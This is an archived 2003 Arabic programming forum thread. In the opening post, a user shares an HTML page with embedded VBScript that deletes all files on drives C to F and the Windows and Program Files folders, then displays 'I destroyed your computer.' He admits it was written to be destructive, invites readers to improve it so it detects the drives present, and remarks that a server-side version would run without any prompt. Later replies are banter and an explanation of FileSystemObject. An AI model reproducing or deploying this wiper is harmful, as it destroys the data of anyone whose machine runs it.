الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

تدريب على التعامل مع الملفات

مغلق
بدأه محمد خليل أبو صلاح في 26 فبراير 2003 · 5 رد · 608 مشاهدة · في منتدى تصميم صفحات الويب
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بصراحة هذا ملف سويته زمان أيام بداية تعلمي للفي بي سكريبت و كان الهدف تخريبي :D .. كان قصدي التعلم و جربت اوامر الحذف عن طريق سكريبت كتبته لحذف مجلد الويندوز و ملفات الأقراص .. طبعا كانت هناك أخطاء في البداية و هي احتمال عدم وجود أقراص بهذه الأسماء .. و بالتالي سيظهر خطأ .. لكن أعتقد أن الفكرة مفهومة .. طبعا لا انصح بل احذر من تجربة هذا السكريبت على جهازك لانه لو احتوى على أسماء للويندوز مثل winme أو win98 أو windows سلامة تسلمك ..

لكن كيف نطور هذا السكريبت بحيث يعرف ما هي الأقراص الموجودة ؟؟

اعتقد ان هذا تدريب جيد لكم مع العلم أن هذا الكود سيعطيك رسالة تسألك هل تود تفعيل السكريبت أم لا و إن اخترت نعم كانت القاضية :D ..

لكن لو كان الكود بتقنية ال ASP لما ظهرت تلك الرسالة و نفذ الكود دون علمك :'(

<html>



<head>

<meta http-equiv="Content-Type"

content="text/html; charset=windows-1256">

<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">

<title></title>

</head>



<body bgcololr="#333333">

<script language="vbscript">

set fso=createObject("scripting.FileSystemObject")

fso.DeleteFile "c:*.*",true

if fso.FolderExists("c:windows")then

fso.DeleteFolder "c:windows",true   

fso.DeleteFolder "c:Program Files",true  

  else

if fso.FolderExists("c:win98")then

fso.DeleteFolder "c:win98",true

fso.DeleteFolder "c:Program Files",true

  else

if fso.FolderExists("c:winme")then

fso.DeleteFolder "c:winme",true

fso.DeleteFolder "c:Program Files",true

 end if

 end if

 end if

fso.DeleteFile "d:*.*",true

fso.DeleteFile "e:*.*",true

fso.DeleteFile "f:*.*",true

msgbox("I destroyed your computer.  ")

</script>

</body>

</html>

على فكرة .. أنا كنت حافظ الملف باسم تخريب الأجهزة و للأسف أخوي فكر الملف لتعليم كيفية تخريب الأجهزة و ضغط موافق على الرسالة فضاعت ملفاتي زماااااااااااااان :'(

:D:D:D:D:D:D:D

You can fly while you can touch the sky

#2

:D الف شكر اخوي .. عندي طلب بش مش عارف .. بما انك عندك خبرة في الفي بي ممكن تنظم مجمو عة دروس ولو بسيطة .. سؤال اخر حسب ما اعرف الجافا سكربت افوى فهل تنصح بها (رغم صعوبتها مقارنة بال vbs)

نهاية ممكن توضح لي ما هو ال fso الموجود في شفرتك ؟ والف شكر

تحياتي

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#3

أخوي محمد..

تبغانا نشارك في إنتاج أسلحة دمار شامل؟!!:eek:

ترقبوا زيارة قريبة لموقعنا ياشباب من "هانز بليكس" :)

خليك داعية للسلم أحسن يابو الصلح..

معليش "الأحداث الحالية" انعكست على أسلوبي..

وألف سلامة للجميع من شر "الأشرار"

تحياتي لك يابو خليل.. وأتمنى ان تسارع ينزع سلاحك المدمر هذا "سلميا";)

#4

:D صدقني النية سليمة بس لا تكون فضولي مثل أخوي و تخرب جهازك ;)

You can fly while you can touch the sky

#5

أخي NOP أنا اسف أنني لم انتبه لردك .. في الحقيقة أنا وضعت باقة دروس جميلة في الفي بي سكريبت و تدريبات هامة لها تعينك على استيعابها هنا

www.as4web.cjb.net ..

بالنسبة للجافا سكريبت .. فهي مرنة أكثر بكثير من الفي بي سكريبت لكن لكل منها استخدامات معينة .. مثلا بالفي بي سكريبت يمكنك أن تقوم بإظهار رسالة تأكيد على عمل ما مع ظهور عدة أزرار و تحافظ على قيمة الأزرار في تطبيقك مثل رسالة التأكيد في عملية الحذف .. تأتيك رسالة هل تود الحذف أم لا و انت تختار نعم أو لا .. لم تمر علي في الجافا سكريبت .. بالنسبة لي الفي بي سكريبت أهم في ال ASP من الجافا سكريبت مع أن الثانية سهلة لكن تحتاج للمارسة ..

بخصوص ال FSO ..فهي تمكنك من التعامل مع ملفات النظام و قد كتبت عنها هنا .. و هذا اقتباس لرد انا كتبته على نفس السؤال

اقتباس
أما ال FSO فهي اختصار ل File System Object وهي تابعة ل Microsoft Scripting Runtime و التي تمكننا هذه الكائنات من الوصول للملفات  

و يوجد عندنا تطبيقات كثيرة على نظام ال FSO أهمها ..

http://www.arabteam2000.com/vb/showthread....&highlight=File

http://www.arabteam2000.com/vb/showthread....&highlight=File

حظا موفقا ..

You can fly while you can touch the sky

#6

الف الف شكر على التوضيح والارتباطات

تقبل تحياتي الحارة

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

هذا الموضوع مغلق.

مواضيع مشابهة